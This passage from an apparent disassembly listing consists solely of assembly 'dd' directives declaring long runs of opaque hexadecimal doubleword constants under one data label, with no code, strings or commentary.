dd 9BF73280h, 0E953ED7Bh, 5C7DD8B7h, 50034B7h, 0BC502F1Eh
dd 0AE00929Ah, 571CD7BAh, 60A16775h, 2F168CACh, 4D1CD9E0h
dd 0C94E5E7Fh, 90FB04CAh, 3E75F8C0h, 0FFFC0116h, 0C1C4E79Fh
dd 72D8208Ch, 0F2D6ED18h, 3E9958F1h, 8500603Eh, 0D8BFFCA6h
dd 3200AB62h, 0A22FCB02h, 7BC1B6Bh, 3C16BE86h, 29A0D163h
dd 13A5E430h, 0CC440105h, 0E086B4B8h, 0ECB05429h, 0A03B0441h
dd 0ECE12393h, 7C600D4h, 7FF2712Ch, 32EB0FADh, 287C0B38h
dd 1AD20E94h, 46C4FED6h, 789F8159h, 10BC436Eh, 0B61FEC88h
dd 49FF8100h, 794A9523h, 5E38056Fh, 80636C48h, 0B35D88E3h
dd 0EBA74E1Fh, 0D80FA157h, 0A657A0D0h, 1ED8437Dh, 0DC9660h
dd 0EA6CECCDh
dd 35011DC7h, 0BDED95F5h, 17E43B58h, 196D312h, 7061F3CCh
dd 9542E010h, 68A0DB06h, 9B00317h, 4DC42CBAh, 0FBB764E8h
dd 91118C0h, 0FCD56AADh, 0D7E800B0h, 2E7C8E33h, 0B4000CAAh
dd 0A5C191DEh, 893120h, 0FE02091Dh, 0D48E546Eh, 30CB9D00h
dd 0D1906C78h, 0A8560014h, 0D985F18Ah, 28006191h, 0E9276EE1h
dd 902AA6h, 0C0D11C51h, 1935F9Bh, 0C599D700h, 9DB1A003h
dd 0C415282Fh, 798817F0h, 0A42500DFh, 0C6125813h, 9D01FF27h
dd 78C2E200h, 0B37610h, 0C906197Dh, 0B2D6FBC8h, 70E63B00h
dd 77740F15h, 97E2009Eh, 0B6042091h, 400016F9h, 0ADE7F8B8h
dd 0A54872h, 7BF13721h, 0CED26EDBh, 3D9A3800h, 0BFA60A57h
dd 0FD840033h, 2C983C5Bh, 0E09FA958h, 1F0F9Ch, 6078DE4Ah
dd 36694508h, 3C51F701h, 0E934B56Eh, 3D337FD8h, 79802EFBh
dd 0AEAA0323h, 740032A9h, 72CCA7CBh, 0B34AFABh, 0F75C89C3h
dd 0E1DF8860h, 0AC708D5Bh, 1CF2AF91h, 891A34AEh, 818150h
dd 0C832948Dh, 5A717829h, 70400F07h, 0A099149Eh, 7C8DD354h
dd 2CC00122h, 0E42F772Eh, 0CE82605Eh, 750D9409h, 8C8000Fh
dd 0EAA4247Eh, 0E1E8A5h, 49416877h, 5D221DD9h, 69C70250h
dd 7898E4FEh, 0FA00DBF6h, 8C38B98Bh, 1D378DFDh, 83E36ADCh
dd 6FBD9693h, 0A9B64880h, 47046001h, 0B798EED2h, 0DBF89FCDh
dd 0B8A14C8h, 4103FCBCh, 0CEAB1251h, 0EC92D5C0h, 1142E0C0h
dd 32D27Dh, 7BDD7748h, 2F74AE79h, 232A7303h, 0A8ED13E2h
dd 2891838h, 9F607504h, 0C0466B0Eh, 0A7D07400h, 5F315BB0h
dd 495F4Eh, 23EC8168h, 4B078842h, 0E3CF6E18h, 4C56A370h
dd 0B9AD00B3h, 9D8B4A37h, 6B000CECh, 6E75ED12h, 590E0585h
dd 7A005CF1h, 2368BAC0h, 0DF1CBF4Fh, 0F28B3C1Eh, 0D7A4C8A4h
dd 8AB017E3h, 1788C0A9h, 1F0011ADh, 354505CDh, 2C68D13h
dd 77A5C5BCh, 9F428B38h, 0F4130096h, 1E1E3BABh, 431359C0h
dd 0E4339Dh, 0B48D9DBh, 223D3799h, 3CC7EB03h, 0E077FAD7h
dd 7BA55AFh, 1FD38976h, 1A9000FFh, 0D0EFEEA4h, 54B2292Fh
dd 8218B5Eh, 0CFDC46C9h, 0E4D8001Dh, 0B51CF869h, 25070DCAh
dd 0C1DC4A62h, 0DED5BEC0h, 0E7A0023h, 4BE9D97Dh, 500F608h
dd 985B7630h, 0BA42ECh, 0D26F0626h, 23B99C18h, 96950500h
dd 8DF1E5A5h, 0B4920074h, 0D31A03F6h, 0DA05BE36h, 7D4CFA30h
dd 49D982C0h, 39770451h, 807ABB66h, 6CF3ECB0h, 0BC2FB800h
dd 28309908h, 54FF0002h, 7E05A6EEh, 3707D3CFh, 4323FA5Dh
dd 0D45029h, 32C78DD5h, 0B8B4C3A1h, 4A8FF415h, 790B0780h
dd 99004FBEh, 0FC7CCF2h, 0F1328A12h, 0FCACA801h, 902CE448h
dd 0BE31C200h, 0BACB946Bh, 1B0300E5h, 15CE3826h, 0C701E1A6h
dd 3AC54D7Eh, 0DDD46772h, 76F700FCh, 0CEA50AC4h, 3FC527Ch
dd 0E600C8BCh, 0CB7B5446h, 81330720h, 0E086AE2Ah, 0B178BB88h
dd 61056CBAh, 13393285h, 489CA005h, 0B6493CC0h, 9F44000Ah
dd 0A521DB03h, 4D0042BDh, 4A2AB1Fh, 82436Dh, 0AEECEAD7h
dd 67ED757Dh, 0BDD7A07h, 0CE508C64h, 9DC803h, 0E63C18B7h
dd 0BB45ECF1h, 0A75CB0E8h, 0CD3100ECh, 5C9CF4A9h, 0AC871E27h
dd 7AA04740h, 41598096h, 82723DA7h, 0AAFBE200h, 7333EC5Fh
dd 0F5CF0B91h, 3B003283h, 0B05B775Ah, 0E8BA4Ch, 0DDEC5780h
dd 3D0EC6A4h, 2180BB44h, 0B3881FA0h, 0A800B9FDh, 0E3646BD9h
dd 165144Ah, 0DE96545Ah, 406A5E73h, 44E537C3h, 10025D75h
dd 0E91372A2h, 99A0E1FFh, 86541C2Ah, 40D19334h, 627F9600h
dd 71DBB213h, 32A5044Eh, 0A826A30Ah, 63E400E0h, 0D58F8088h
dd 5CAF7ED6h, 7519BC07h, 82F111B9h, 0B8D1B221h, 5148DC12h
dd 0B4BD0490h, 0AFE8D403h, 0AA08C2Dh, 0CE11352Eh, 5072A4F6h
dd 9D461C6Dh, 0C689288Eh, 8260E0D1h, 15594FDh, 18CC409Bh
dd 0D00797B3h, 0AB6F4EA1h, 84218074h, 0C42C3948h, 0EDD4E070h
dd 5FCC0460h, 62009297h, 0B7CE25BEh, 0ECDF6900h, 170DA02Ah
dd 85850E2h, 38809D04h, 1583461Bh, 44488B28h, 5506A3FEh
dd 12CC4363h, 9CB05B90h, 4800A0E8h, 8CE0941Ch, 74E11234h
dd 0BBB0049h, 45EE77E4h, 7300249Bh, 0A44B09D0h, 854D8Bh
dd 53551A36h, 54EF6F7Bh, 3F6FAA5Ch, 0E0E7499h, 20F9FE64h
dd 650FC84Ah, 0D53800ACh, 0AF30F020h, 291F2791h, 0B1037142h
dd 89668BC8h, 0FEF0C7D1h, 68F90016h, 0B1EEF61h, 381EDEFBh
dd 0B840F463h, 0B32C7121h, 5E9A0052h, 0E2C7396Bh, 89FED11Ah
dd 103E2E07h, 0D7709F3Ch, 6DE631h, 9D80F3E9h, 5320DD8h
dd 0C1C31A00h, 446361AFh, 9F6A1EF5h, 67BE403Ah, 0CE0BCB46h
dd 19499202h, 50EBB3E0h, 0F665011Ch, 2E0C40F3h, 14B7ECDCh
dd 0B080464h, 0EB934B0h, 2753401Ah, 0B49A6460h, 0CD00257Dh
dd 98829542h, 31C67B0Dh, 6B30180Fh, 0B6EFFC96h, 450024B6h
dd 14AC9ACDh, 44E40C1Ch, 0FB0854E2h, 5C20AD60h, 0B0919AC8h
dd 0D5EE02B9h, 94B7FFE5h, 783E8D4h, 98FD9D2Ch, 33827F26h
dd 63700150h, 21702164h, 0A89AC960h, 0E53C1410h, 2880E1C8h
dd 9BC590A4h, 0ED7C00A7h, 6533EB17h, 350ED732h, 62ABF6FEh
dd 444B5310h, 0AE9C00D8h, 0BB183DA2h, 6706A397h, 0D0A4420Bh
dd 71260021h, 1B7CC2A5h, 87004CB2h, 5BAF6F51h, 137A4E02h
dd 0F048EF9Fh, 6C396918h, 39460725h, 0C8CA6E40h, 0B164D00h
dd 499B98h, 7D9A07Ch, 3272EE96h, 0C90D5603h, 0B83FDB0Ah
dd 79ECC7Dh, 0E17F86EDh, 91B520C1h, 3A00402Eh, 0CB2B355Bh
dd 0D9B8C6h, 823197ACh, 0F0CDD54Eh, 0F6620E3Ah, 7A3C4500h
dd 0BE572B37h, 170C8h, 6AAE1EA5h, 3A8E24C3h, 0D4B52A00h
dd 0F787C6F9h, 30BE7EEEh, 89840C8Fh, 0EA07CB67h, 62D05878h
dd 0B5296D00h, 0DD730Dh, 1FA23107h, 0FE65192Dh, 0DEB18100h
dd 0CA94852Fh, 0B4BD0099h, 78F61DCCh, 35000131h, 732939AAh
dd 0CE868Fh, 1618666Bh, 0C41D1E2Dh, 8E192B06h, 1D08C2E6h
dd 0D7ED691Fh, 9465C02Ch, 18302405h, 6A9D28C7h, 5811605Ch
dd 0B1FE2338h, 92AAEA06h, 41E9E1h, 2C05EF7Dh, 6157739Bh
dd 0C649400h, 873DA842h, 0CEBFCDBh, 167F7DCDh, 0B574AA48h
dd 1D2DC73Fh, 2010FCh, 85430E2Ah, 0F9E3FEBh, 1C7CE118h
dd 0CA0C60h, 603155F2h, 28911214h, 1561BC0Fh, 0F774C03Eh
dd 0AAA8B6h, 0C956D7ADh, 874DC3B9h, 984C1D03h, 0F99E0697h
dd 8AF4C4A6h, 39C17292h, 0A0004FE2h, 4FCC691h, 8E0A0E46h
dd 820F0CC3h, 0C01CBF0Eh, 734B87AAh, 501A0009h, 2B611841h
dd 0E6004606h, 20EDFF44h, 0BB84CEh, 65D6B393h, 4E92DB8Ah
dd 0AEA96601h, 0FC24EF38h, 3C785DD4h, 1A0EEE69h, 4E21F203h
dd 61019D58h, 37088C92h, 31B204Bh, 0E430F16Bh, 0DAA0810Bh
dd 26008269h, 0EFED96CEh, 1BCA497Ah, 304E614Ah, 0D5A9D2C0h
dd 0A7455126h, 0C5403C1Ch, 0A9FAAABh, 9AEA007Ch, 0CFCE1A37h
dd 2201F2A5h, 0D3D6B448h, 588197B2h, 82FB6CA3h, 7EB1F049h
dd 1ED4680Ch, 70FB079h, 0FCE7A932h, 843F73BBh, 1A3E0C3h
dd 0A102100h, 0DDB1B9A9h, 65CC00A0h, 0C8B52D82h, 51C14BE3h
dd 81F76CA2h, 0BED66080h, 515E822Fh, 0F67B6400h, 0DAEBF039h
dd 0D2D100FAh, 13F72DB6h, 0A5008FFDh, 0D3C4606Fh, 7DFE110Dh
dd 9E010769h, 702FC99Bh, 0C5A73904h, 0FD446100h, 2218C768h
dd 0CC63009Eh, 47EA1A6Bh, 0F40E0108h, 60F2BD79h, 15F91CAFh
dd 4D6F04B5h, 0C1A5569Ch
dword_525048 dd 205D5050h, 0EE001836h, 786820FFh, 0F2F794h, 63652EB5h
dd 2997B85Fh, 0CC21EE00h, 0E093A1F1h, 5596000Bh, 0B86E142Eh
dd 0C700BF76h, 0F839C02Ah, 0CCE9C8Eh, 8CE8AB98h, 0C13AF638h
dd 8F8B00EFh, 9443733Ch, 0B96630DDh, 0F1177C58h, 483F1C0Bh
dd 8E9A03C2h, 0C0DF80A2h, 0E30B0005h, 737EC16Bh, 3217963Eh
dd 0B6054BBAh, 5581D764h, 9F031E3h, 886C0108h, 0B89BB4ADh
dd 7B19800Ah, 361BB999h, 24420063h, 0AF3FA9D0h, 0E30A5259h
dd 802F4607h, 69328583h, 60DDAA43h, 0F88B2095h, 1C511E46h
dd 1D4BCE1Ah, 0AAF46880h, 0E0E289AFh, 9DC7B00h, 2566EDA8h
dd 65778C3h, 0BD470E16h, 0D400605Bh, 2726EBB0h, 3A42251Dh
dd 4D80AD7Ch, 30A1D752h, 81026457h, 39096CB2h, 5D0495B4h
dd 0F382CE00h, 2E6611E3h, 7CE9AEh, 5D72AD20h, 5007FA28h
dd 1EB90C3Bh, 1683F3B7h, 0A0E7C3B5h, 3EE305C8h, 0E5007CDCh
dd 21DF61EFh, 6230F237h, 0E4F656ACh, 0AE143ACCh, 80FD881Ch
dd 2070EAB2h, 0CDE2D687h, 0C10011F8h, 66A37603h, 131BBF3h
dd 0A7FA2B77h, 7F0AE9DAh, 698A9080h, 0B854604Ch, 7B95AC1Ch
dd 0DA853B00h, 26A3E247h, 67E900A4h, 0FBC069C4h, 2F0C27DFh
dd 287A5BBAh, 0C47044D6h, 4474C544h, 0AA62D565h, 2259E251h
dd 0F822D8EBh, 0C982234Eh, 43E2921h, 4668E0Dh, 4344480Ch
dd 422A48CDh, 30258FAAh, 0C01C2802h, 21E60444h, 0E41275BFh
dd 0B7B1481h, 0A4720346h, 0A1FDD546h, 3264A822h, 8E51C1FBh
dd 8BDE7883h, 507C5128h, 42CFDB22h, 0D06572FAh, 14042051h
dd 7644B92Eh, 84050073h, 0F8201DDh, 3DC1497h, 6C2A8D60h
dd 0ED0013D7h, 0E8D81FF1h, 792D509Bh, 92360787h, 509651A1h
dd 0E6FFD7E1h, 0F42FB300h, 0D0E7675h, 0AFFA030Ch, 91079352h
dd 0DAE88BE0h, 0FFE73500h, 147FA81Dh, 0FBE53E56h, 8E9C0700h
dd 7465B650h, 697EA500h, 9046E6B4h, 0C2A10E06h, 0AA6079EDh
dd 0EC65D91Eh, 760971Eh, 2C19E1FAh, 9FCD5B8Ah, 392E43CCh
dd 90003BA6h, 5BBE2A7h, 680F9EFFh, 0A7756357h, 7EE02435h
dd 6F67F9h, 469761F0h, 0D45A5B29h, 6D6A8B1Dh, 0CEADA607h
dd 67864E71h, 109CC03Eh, 0F401FDE3h, 7FD04C41h, 70803F17h
dd 91C2702Ch, 400C4A7h, 78DA5535h, 772431h, 1FA8288Ch
dd 755BC36Ah, 782CBF3Bh, 395F9D00h, 231D6CC1h, 150F0394h
dd 0FEE67B51h, 321E74B8h, 0E53FCD00h, 77A1B81Fh, 0CE41003Bh
dd 30CB18C0h, 8800F31Ch, 9C35A8E8h, 0A780F9h, 48D562BCh
dd 5C5357E6h, 43ECBE00h, 0D715B25Bh, 0E87D0746h, 45B56B9Fh
dd 53B0C0E4h, 0D00964Eh, 0B2AE87E3h, 752078Eh, 82F84989h
dd 90486009h, 370088ACh, 54B9D084h, 7D39DF4h, 46743CA2h
dd 358DE093h, 0F1005325h, 9216A1E5h, 0E2E308h, 82EA8961h
dd 3F07FCECh, 4AF34600h, 0C6DBC465h, 0F188054Ch, 4E22EDh
dd 0CD1D6B9Eh, 0C700E2F8h, 0C4E6A1A6h, 1CB0F2C0h, 0EEADF4h
dd 0C6CAE858h, 0DF0177EAh, 8192B101h, 0A6C43265h, 958A002Dh
dd 7006D3A5h, 9247BCEh, 1600449Fh, 0BC7EC63Eh, 0CBF70019h
dd 0A4EA6583h, 34493D78h, 30E2300Ch, 5C29AAh, 0AE3273E9h
dd 5B19530h, 0F2E65900h, 8C920F57h, 4BA9008Ah, 0D6AFDBB0h
dd 0FE0A4299h, 0F48F8E63h, 0E0BA1702h, 0BE4040D7h, 9D3A3ED2h
dd 724B8780h, 74C18047h, 4A006D74h, 0BEFE225Bh, 0F091F8h
dd 1D4DA241h, 0A3715C52h, 42E95100h, 119BCF54h, 4348D5h
dd 0D2A54B00h, 0AD1AF2EBh, 5C05D800h, 0DB23E763h, 3D740692h
dd 6009A232h, 0ED52DA06h, 60A05B6Eh, 0AD64401Ah, 0BB3E3F0Eh
dd 0BA1F001Dh, 0B1EE2A99h, 0D38A1C84h, 629DC0D2h, 0DBC6E6FBh
dd 0FE492E12h, 40A5900Fh, 6AB064F7h, 960900C5h, 6EBD61C4h
dd 0B4003C78h, 5CDB1588h, 4D3E6h, 7C7FF138h, 0A37A2734h
dd 643BAC00h, 0A5FAC1A8h, 51030E94h, 6720704Fh, 0C3B478DEh
dd 60718F00h, 0EBE97AA8h, 0CFE400FDh, 0FF61F73Bh, 0D94C2715h
dd 65B50378h, 0E04FAB02h, 0BFC87E5h, 301F07BAh, 0CB1CF176h
dd 3E6DE840h, 34B75F9h, 0B1CDF1B5h, 24C0B8D9h, 5507EACAh
dd 0FA789ACh, 0F3AAC4C0h, 1A4E0084h, 0A6A1D5F9h, 900B770h
dd 95D35B36h, 7E5F702h, 45F9C057h, 277BE046h, 65055423h
dd 0D3C98906h, 0EE12F0h, 7A88F5B4h, 0A3D73B72h, 441C0C1Eh
dd 8EA57380h, 0B3EF71h, 860FD043h, 1CB6BAB8h, 0BE651402h
dd 40E1D4EAh, 78C544h, 0FA8A5DA9h, 0DCFD76F9h, 3130F003h
dd 982DACD8h, 0E4496C03h, 0D2793FF5h, 730D2480h, 0CA250F4Fh
dd 47E2BA06h, 103DB6h, 0AF7CA51Bh, 532F3624h, 9DDEFA00h
dd 4282D64Ah, 9E7F886h, 0C03F5125h, 0D7AD05h, 769CBCC4h
dd 15009B45h, 34B83C50h, 0B0ED62FDh, 43AB80D9h, 2B7100FEh
dd 1F8E5E8h, 15008EE1h, 55E3F1F7h, 4E7C09h, 8CAFED68h
dd 0CD67F433h, 7435C4A0h, 0C94C9650h, 9B87A800h, 0C5853CF6h
dd 1958005Ah, 7BE6A0F9h, 1DF847B4h, 4E429E00h, 0D0AD17CAh
dd 1823000Bh, 87D61AFDh, 403A35Ah, 1059C6E2h, 7B91A00Dh
dd 708A00C2h, 0C0B6E01Fh, 0BB0071CDh, 0C6FDD3ACh, 63939Ah
dd 306994Ah, 17297969h, 7F008575h, 0D736B896h, 7E2C85Bh
dd 5CF6B1Eh, 0EBD0152h, 0DCEEE087h, 6DB4FA00h, 1A7968C0h
dd 0F2E67F34h, 0C835014Ch, 80CE8876h, 9A6DDC65h, 39EA8D05h
dd 7FC0AF24h, 1DACD1F1h, 0C0F250E4h, 64D2FD02h, 0F60EB8DEh
dd 40CB3A88h, 76D59D36h, 7CB90222h, 431C1759h, 901F8280h
dd 9A00AFE2h, 0A0F593B5h, 146E5155h, 0DCC6F3B9h, 5B090070h
dd 0C4683F91h, 17001C98h, 46611F41h, 71D07B9h, 0FF2242D2h
dd 0BCADC0FDh, 70009ADCh, 0AE5FEC3Eh, 2AAAB75h, 59EA0C48h
dd 20E2E8D6h, 5839DC00h, 1C17D1DAh, 0BB41A5h, 0CE9EC1D9h
dd 0B30F8384h, 20DD8FE7h, 0F2C303EAh, 0D35A0ED5h, 9D40D705h
dd 417D6F1h, 4A0F6378h, 60E8B9F7h, 0DC35B3E5h, 0EC70249Fh
dd 1723C48h, 0BEBDB5C6h, 0FC6A4B33h, 0DEEF7A0h, 0FF852900h
dd 4D89A8C7h, 9A83F36Ch, 0F29D6F1Ah, 2E7D4F0h, 0FAC06B00h
dd 8EFD6ABEh, 712C00FFh, 58DDDC1Eh, 0F800AD72h, 484C9747h
dd 72CEDED8h, 6C1F00D5h, 190CCB02h, 0A700732Fh, 1E8C5DDCh
dd 120DD111h, 32F103h, 0F8B165B5h, 4A615063h, 0E79A9D50h
dd 2929BDCh, 0A620C9C5h, 196096F6h, 2A04EA91h, 8828C386h
dd 10C4DBC1h, 1385660h, 0D55A2624h, 0CCDA83E5h, 7C004366h
dd 9408028Bh, 0FBFBDDDh, 1D74F9EBh, 0FF478CC0h, 7800FD42h
dd 8C67079h, 0F8363727h, 8CE000FEh, 2031FF0Fh, 0E3005A34h
dd 4643B865h, 0DBF5EDh, 0C3E0C2EBh, 3A99BD08h, 0E2C4EE00h
dd 30917E29h, 0C23C0ED2h, 6440525Dh, 0B07FD11Fh, 56C63303h
dd 0B03815CBh, 0C9E193h, 8721B4BCh, 1BA34DB1h, 0B85CD00h
dd 4A7F562h, 9290064h, 0EE8E6BD0h, 0E00242D5h, 0AC1C8995h
dd 0FBD960B3h, 61080017h, 90198ED7h, 1D00E8AAh, 7EEE521Bh
dd 12A3CCh, 0D8F5A805h, 48B82274h, 307CF300h, 0B4F979EFh
dd 98150B7Bh, 8E006EA0h, 55F0592Bh, 41CFA600h, 0E3602A6Fh
dd 963800BFh, 4F56A966h, 0F17815ABh, 2FB48C00h, 0F07964F2h
dd 75A5004Dh, 0D48D825Ah, 3000D207h, 0AB135D2Eh, 0AE522Fh
dd 547BEC90h, 0A37CFDA1h, 0B5FC8C0Eh, 17DBE773h, 0D0EC59B3h
dd 0E293F8h, 144E57Dh, 0B903B83Dh, 45FA6300h, 9AE3F3Eh
dd 10909Bh, 0F7A76B46h
dd 0E9EEA02h, 347F6492h, 0F461AB07h, 592049FCh, 0BE6716h
dd 7D0812B9h, 285AE5C7h, 1E6F803h, 0FAF2C552h, 0CDA88095h
dd 1F4FA1CEh, 80DE9DBAh, 4B4C639h, 5D588E55h, 1007975h
dd 5BE6762Eh, 0E840F3A2h, 0AA73009Ah, 258A819Ch, 0F0C0970Ah
dd 78633F84h, 0D68E01F9h, 0E0C56CAAh, 64AD301Ah, 0FD2B5501h
dd 0CC93E1BBh, 0E63389F8h, 50FEDEh, 912F204Ch, 2D172609h
dd 5FC64607h, 7AF57EFDh, 8E1AE400h, 620364h, 9E9DBD94h
dd 0E9485955h, 8043373Ah, 5BF28E7Eh, 0CA985EBh, 0F9D217EEh
dd 52482678h, 71890369h, 98E83A9Ah, 0A563016h, 0BA597751h
dd 87850084h, 26F99480h, 6611A000h, 283C0CB7h, 887383h
dd 0EDB3F5E7h, 0AE7D80A8h, 5C821A07h, 4B76E0E5h, 5BE07FAh
dd 0B0D33899h, 0CAF141DEh, 8B8F550h, 1CB37624h, 0E2AF4580h
dd 4AE629A4h, 44EBC18h, 0C01A9637h, 522D36C0h, 4DEC005Eh
dd 9AD7F755h, 0A71E7607h, 0BC00E27h, 0E6204E95h, 0D1AE03F6h
dd 0F80DA6DBh, 0A8E35688h, 5F02E10Eh, 0BC0640CEh, 0EC55B2h
dd 7D944559h, 6B05618Ch, 95FF58C5h, 7BB50F80h, 1ABE062h
dd 0DD0F02D7h, 30EA4A64h, 58264E64h, 6D00A8C8h, 904B30B6h
dd 425A39C6h, 91736900h, 18965E33h, 8002AF3Eh, 0E52AAE82h
dd 698E6Fh, 3613B1ABh, 70A481F2h, 5DD01500h, 8C53E5BDh
dd 8E6C0064h, 0B0EE5E77h, 6800C918h, 0DC0BBA3Bh, 0BF66DA6h
dd 32933A9Eh, 0D688B301h, 2486D95Ah, 2EC07C60h, 0F4300D29h
dd 45FD008Ch, 3E7AF8A6h, 351FB2D8h, 6646AC89h, 2270E23Ah
dd 0DE006BE1h, 0A8DD09B2h, 6F48BAh, 47D4085Dh, 5A98DBC4h
dd 0AE819B00h, 168E6A35h, 7E0D007Bh, 0E028590Ah, 0F900AA89h
dd 2623A527h, 937308Ah, 7512DD5Fh, 0C0EE8000h, 8D48C713h
dd 56990071h, 38060EE7h, 9717959h, 0DA7D5805h, 96AF85h
dd 5ED5C4ACh, 0D000801Eh, 87CD2909h, 2EFEE3C3h, 0A2CCB2h
dd 0D2C0DBFCh, 922C8340h, 0E10EFF31h, 0ADF120AAh, 1FEF4BEh
dd 99BB3A5Ch, 807A5B72h, 897DF588h, 3D2B178h, 5F8F1C8Bh
dd 92880D7Ch, 0AE001858h, 1795A996h, 1A47035h, 27FDC6BCh
dd 20DCEB8Ch, 10F7688h, 0C3FEA125h, 1913D6h, 43F7CEB0h
dd 0F6640515h, 5128E21Fh, 10710ACh, 0DD92360Ch, 0E1425753h
dd 0BDCCB000h, 6700E532h, 37C7D85Dh, 1CF43523h, 40496403h
dd 1AF3095Ch, 5500F556h, 4E86789Eh, 24A4DEh, 99120F9Bh
dd 6C4B454Fh, 0E584AA00h, 689247DDh, 5C9B0626h, 8010E611h
dd 0CDF87700h, 739362B4h, 0E3F07FC9h, 0F14A20h, 1E298D13h
dd 0B3A8BAC5h, 0ED0F8F00h, 8291B0F4h, 946700DCh, 0F113A396h
dd 34705DD4h, 0AFA440E1h, 8304D646h, 0A4BC098Ch, 247028C0h
dd 7CCC3FFFh, 0EFED3407h, 777F20FCh, 110CBB8Eh, 40A055EEh
dd 5D8C009Fh, 0E8D1F2D0h, 0E1A0788Ah, 4200C1E7h, 0BA38B6EAh
dd 0E5B505h, 0B41E4384h, 0BFF981CBh, 67223B00h, 0F51D8A0Ch
dd 87710093h, 7D5F8E64h, 0C600A466h, 7EB1E886h, 0A0E1ABD9h
dd 900B16C0h, 80AE0054h, 0BB2622A5h, 0B90FDD78h, 7C86E39Ah
dd 0A7076309h, 0AB50CEFCh, 0EF49126h, 0AE96A98Eh, 0A6BC05h
dd 0CF506CDCh, 84AB5E34h, 0FEACE209h, 0CCAE008Ah, 0A1F9CA21h
dd 6E002B8h, 0D4415819h, 2497FD14h, 52770DC0h, 1A0083ABh
dd 8AC581D1h, 60E2F38Ch, 0A58D8896h, 1360E72Ah, 8924A140h
dd 7CEA0044h, 0F8A2B227h, 67009A99h, 64E1F112h, 7802F635h
dd 76F20050h, 0FD51A2BBh, 0EF0063A0h, 0CB7A7D86h, 3E48E134h
dd 780060D5h, 0F8DEB7E4h, 0CEC1FF5h, 0B5569400h, 0C03F6BDBh
dd 0A1050070h, 2E8FF16Ah, 1700FFABh, 0DF38B5EEh, 258163B0h
dd 0C8FE05B6h, 6DD89A00h, 0FE2382AEh, 0D49203E2h, 3BA44E73h
dd 0B9CAFB0h, 0E1D5E900h, 0E230AD99h, 0EE7D031Dh, 578BF4C9h
dd 1C6177B8h, 58FFA100h, 92F2ADA5h, 0B1E2E7h, 0C4BB5501h
dd 518AA3D8h, 22361200h, 0CAAFA4EFh, 507686h, 81B91F09h
dd 7AE8AD49h, 56014803h, 0A8A237D3h, 0E0677021h, 3B2500C5h
dd 0A5DC6FD4h, 0EB004658h, 0F44120C1h, 6CBC30h, 591B692Dh
dd 0E2DCFFB5h, 0AF420B00h, 555027B1h, 452A0160h, 1E7EEDE0h
dd 0DFC7CF2Eh, 0DBFE4E80h, 61006B09h, 0F5133FECh, 383E1DE7h
dd 9400DF88h, 58AE73A7h, 47000866h, 5DCA48F8h, 143881Ch
dd 0A61683EAh, 0E9E5F142h, 7ECBD489h, 3D5D0E00h, 9B83ADAh
dd 0B2320087h, 965F4406h, 0B6766F8Bh, 54B7D107h, 1F52F111h
dd 0ED9380D3h, 4C3D8Ah, 0EE90B829h, 0C631BC8Bh, 0CAF06E00h
dd 0A4FC6F7Fh, 0BD570080h, 0BCF1DBE2h, 461C23DDh, 387256h
dd 9706F4A5h, 0CEA018h, 929CE34Ch, 0D63C3A86h, 0BE1390FEh
dd 0F800857Dh, 5B20850h, 191C60DCh, 0AFD9BA48h, 3A649803h
dd 0B24D6F46h, 0ABF2E04Ah, 6EA100B4h, 7C153191h, 12033C47h
dd 72B168C8h, 4DB118E5h, 0C6A1E179h, 540FD4C0h, 0C292F1A0h
dd 24FBF5C0h, 6DA5DD80h, 613E6E98h, 0AB37027Ch, 431B9760h
dd 7629A95Ch, 6279270h, 0C998E80Fh, 0B200782Eh, 7975CA83h
dd 3B92C087h, 69BC3818h, 0ACBAF301h, 0D4674A9Ch, 0CE1FE117h
dd 98B0B9B4h, 0A8C2877Fh, 0FEB85D88h, 0DBE00D3h, 0A085FB2Ah
dd 592A6910h, 0E40284BFh, 0A7F1A3D6h, 8BBCA0FFh, 16E669h
dd 8D5726D2h, 0C7D0D943h, 7FCCC32Eh, 27E54706h, 12290258h
dd 9659C8D1h, 30E032F8h, 9394AF07h, 3AC0410Ch, 0C9531Dh
dd 0E9F579Ah, 8DA7814Ch, 31DDA8C0h, 1DAFED6Ah, 9ED74956h
dd 0E6C40D88h, 36B02E98h, 0ADBF008Eh, 0ED39E461h, 0C200A7A1h
dd 811F8FE6h, 318AF6h, 7C6D337Eh, 0F72378B2h, 1B344D00h
dd 8D0AE5E1h, 807EE115h, 36F1B44Ch, 0EE49FF01h, 30E3A01Ah
dd 17FE4FE0h, 0B8DD449Dh, 0E0850FBBh, 18DEC312h, 0E4C198EFh
dd 0E95D002Ah, 0EE944423h, 167E5169h, 0F7763E00h, 7195DAFBh
dd 0FD1700A9h, 9A91C190h, 5D00A2DEh, 7559994h, 82D3Dh
dd 52A74420h, 0B5A0AB2h, 994AF200h, 0F6C8653Eh, 0D486091Ch
dd 0A000A8C0h, 6278C3B6h, 3996381Fh, 0F51100F8h, 8E35D8E5h
dd 65C80090h, 0C59DBE4h, 98030E39h, 0C7CF9A70h, 5E45A027h
dd 71973E17h, 0F7A293h, 685F5C02h, 0D8E61D42h, 0B53D9400h
dd 24A99A73h, 0EC2500B6h, 707A1FE9h, 28005219h, 49EDF49h
dd 72777FCh, 12B2F52Ch, 30AE30B9h, 6F0049E8h, 78F7F83Ch
dd 0E48A6F1h, 35C010A7h, 4BBDA800h, 48924E92h, 7D50F401h
dd 4EA5E0Ch, 3C2A67FCh, 0C9803E41h, 1D686AADh, 360E3742h
dd 0E06C733Fh, 0CAB94728h, 0AFDC0067h, 0BD40EF62h, 4E0165FCh
dd 1AECE33Fh, 38D047BEh, 82560022h, 3A1D3577h, 120ED47Ch
dd 0C0750EF4h, 64313B8h, 30A70070h, 290C3BD7h, 0AFECBEE0h
dd 97981200h, 0D817D283h, 9A680006h, 0A7149B64h, 7414FCEDh
dd 17D290AFh, 0EBA66CAh, 36603320h, 79516B8Ah, 13789579h
dd 0E40B0403h, 0F0859425h, 0E7A4F2h, 0E116CADFh, 1806D3CBh
dd 5E24D900h, 9FDBC483h, 0EE5D1C30h, 6F873BABh, 0E1EDA17Eh
dd 0DA949B28h, 0DC3B54E0h, 0DE9DBE00h, 861D0BA7h, 0A85950F6h
dd 3AB7F5Ch, 7002D633h, 890AF11h, 52006465h, 0CB50224Fh
dd 0F2E6E3Eh, 35733197h, 327DAC21h, 3AAAE05Fh, 0A11FB771h
dd 17C25D64h, 11DD48Bh, 81B7074h, 0FC4C0FFEh, 3ED8978Ah
dd 7C0005E9h, 225EB018h, 4991A8Dh, 0A45A4B13h, 0A9688017h
dd 1020351h, 7C481569h
dd 0F03F40D2h, 4834FFF4h, 0CC6D016Ah, 0BEF1B965h, 76407023h
dd 0D043E700h, 78A909B6h, 18152C79h, 81803910h, 4FA556Dh
